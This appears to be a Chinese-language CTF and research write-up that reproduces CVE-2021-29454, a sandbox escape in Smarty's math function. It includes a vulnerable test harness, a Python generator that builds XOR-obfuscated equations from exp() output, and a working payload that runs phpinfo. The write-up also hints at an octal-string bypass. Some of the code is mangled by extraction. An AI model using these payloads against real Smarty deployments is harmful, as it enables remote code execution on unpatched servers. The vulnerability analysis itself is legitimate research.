Smarty模板引擎 最近又爆出一个沙箱逃逸的漏洞,CVE编号为CVE-2021-29454 。根据漏洞描述,漏洞点出在数学函数功能,可以构造恶意的数学表达式来运行任意php代码。
Smarty  是一个php的模板引擎,之前爆出过CVE-2021-26119和CVE-2021-26120两个沙箱逃逸的漏洞。最近在比赛中,又遇到了这个模板引擎,搜了下,爆出来一个新的沙箱逃逸,仅有漏洞描述和fix commit,需要自己对照补丁和源码复现。
漏洞影响范围: < 3.1.42 或 < 4.0.2。
本文选择3.1.39进行复现,需要创建一个Smarty实例,启用安全模式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php include_once ('./libs/Smarty.class.php' );$smarty  = new  Smarty ();$my_security_policy  = new  Smarty_Security ($smarty );$my_security_policy ->php_functions = null ;$my_security_policy ->php_handling = Smarty ::PHP_REMOVE ;$my_security_policy ->php_modifiers = null ;$my_security_policy ->static_classes = null ;$my_security_policy ->allow_super_globals = false ;$my_security_policy ->allow_constants = false ;$my_security_policy ->allow_php_tag = false ;$my_security_policy ->streams = null ;$my_security_policy ->php_modifiers = null ;$smarty ->enableSecurity ($my_security_policy );$smarty ->display ($_POST ['poc' ]);
在网上搜了一圈,没有任何poc披露,仅有github上的描述:https://github.com/smarty-php/smarty/security/advisories/GHSA-29gp-2c3m-3j6m 
由描述不难得知,漏洞点在数学表达式功能处。
对应的修复为:https://github.com/smarty-php/smarty/commit/215d81a9fa3cd63d82fb3ab56ecaf97cf1e7db71 
漏洞修复增加对空白符号的处理,并从php官方文档中增加了对数学表达式的正则校验。从补丁处,无法获得更多有效信息。
同时,增加了几个测试用例。
本地环境调试一下测试用例:
1 string :{$x  = "4" }{$y  = "5.5" }{math equation="`ls` x * y"  x =$x  y =$y }
在/libs/plugins/function.math.php中抛出异常。
审计下源码,代码对反引号,美元符号,空表达式,不匹配的括号进行了处理。
给一组正常样例,在68行处下断点,进行单步调试。
1 string:{math equation =" x * y"  x =5 y =6}
$equation为传入的表达式,$params为定义的变量,会对变量进行校验,仅允许数字/数字字符串。
line 82 - 91 提取表达式中的变量,在变量列表和函数白名单里查询,不存在就抛出异常。
后面替换对应变量,直接放到eval中运行。
执行命令的关键就在于如何绕过上面的限制,将代码注入到eval中。注意到,由于禁用了$,我们无法定义新的变量,并且line 82的正则表达式子会匹配出所有的字母变量名。这代表我们无法使用字母去构造逃逸,直观来看,我们可用的字符集只有部分运算符号、0-9、以及白名单中的函数。
常用操作可以通过异或操作,去拓展字符集来引入新的字符。但是,0-9显然拓展不出几个新的字符。
回到白名单函数,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static  $_allowed_funcs  =array ('int'    => true ,'abs'    => true ,'ceil'   => true ,'cos'    => true ,'exp'    => true ,'floor'  => true ,'log'    => true ,'log10'  => true ,'max'    => true ,'min'    => true ,'pi'     => true ,'pow'    => true ,'rand'   => true ,'round'  => true ,'sin'    => true ,'sqrt'   => true ,'srand'  => true ,'tan'    => true 
注意到可用函数中有exp函数,通过科学计数法,我们很容易就能获得E和.两个新字符。
1 2 3 4 php  > var_dump (exp (100 ));float (2.6881171418161 E +43 )php  > var_dump (strval (exp (100 )));string (19 ) "2.6881171418161E+43" 
通过0-9E.,我们就可以通过异或,拓展出来整个ascii字符集,
此外,Smarty对于数学表达式的处理中,只针对原有的字母变量进行了处理,对于后续运算得到的字符,并未处理,才造成了此处的沙箱逃逸。
首先,构造payload。
由于通过拓展字符集构造出来的payload,一定是人类难以阅读的,不建议手动构造。
自动化构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import  randomfrom  typing import  Counterdef  xor (a, b ):return  chr (ord (a) ^ ord (b))def  expand (s ):list (rec.keys())for  c in  keys:if  t not  in  rec.keys():def  expand_all ():for  i in  range (10 ):str (i)] = list (str (i))"E" ] = ["E" ]"." ] = ["..." ]for  i in  range (64 ):list (rec.keys())))for  k in  rec.keys():for  _ in  c.keys() if  c[_] % 2 ]def  init ():for  i in  range (10 ):chr (ord ('a' )+i)str (i)] = f"(({c} .{c} )[0])" "E" ] = "((exp(100).b)[15])"  "..." ] = "((exp(100).b)[1])"   def  generate_code (cmd ):f"({'^' .join(rec[c])} )"  for  c in  cmd]return  "." .join(code)def  replace_var (code ):for  c in  var.keys():return  codedef  generate_exp (expr ):"=" .join((chr (ord ('a' )+i), str (i))) for  i in  range (10 )]return  'string: {math equation="%s" %s}'  % (expr, " " .join(var_expr))if  __name__ == "__main__" :"phpinfo" ))f"({func} )()" )print (payload)
payload:
1 string: {math equation="((((f.f)[0] )^((exp(100).b)[15] )).(((h.h)[0] )^((exp(100).b)[1] )^((exp(100).b)[15] )^((e.e)[0] )).(((f.f)[0] )^((exp(100).b)[15] )).(((h.h)[0] )^((exp(100).b)[1] )^((f.f)[0] )^((exp(100).b)[15] )).(((h.h)[0] )^((exp(100).b)[1] )^((exp(100).b)[15] )^((c.c)[0] )).(((i.i)[0] )^((exp(100).b)[1] )^((f.f)[0] )^((exp(100).b)[15] )).(((b.b)[0] )^((exp(100).b)[1] )^((f.f)[0] )^((exp(100).b)[15] )))()"  a=0 b=1 c=2 d=3 e=4 f=5 g=6 h=7 i=8 j=9}
复现:
其实,还有更简单的利用方式。
Smarty中对数学表达式的符号的限制,仅仅限制了反引号和美元符号,对引号,括号,斜杠等等完全没有任何限制。
比如说,八进制。使用八进制构造字符串仅需要使用引号,斜杠,以及数字即可实现。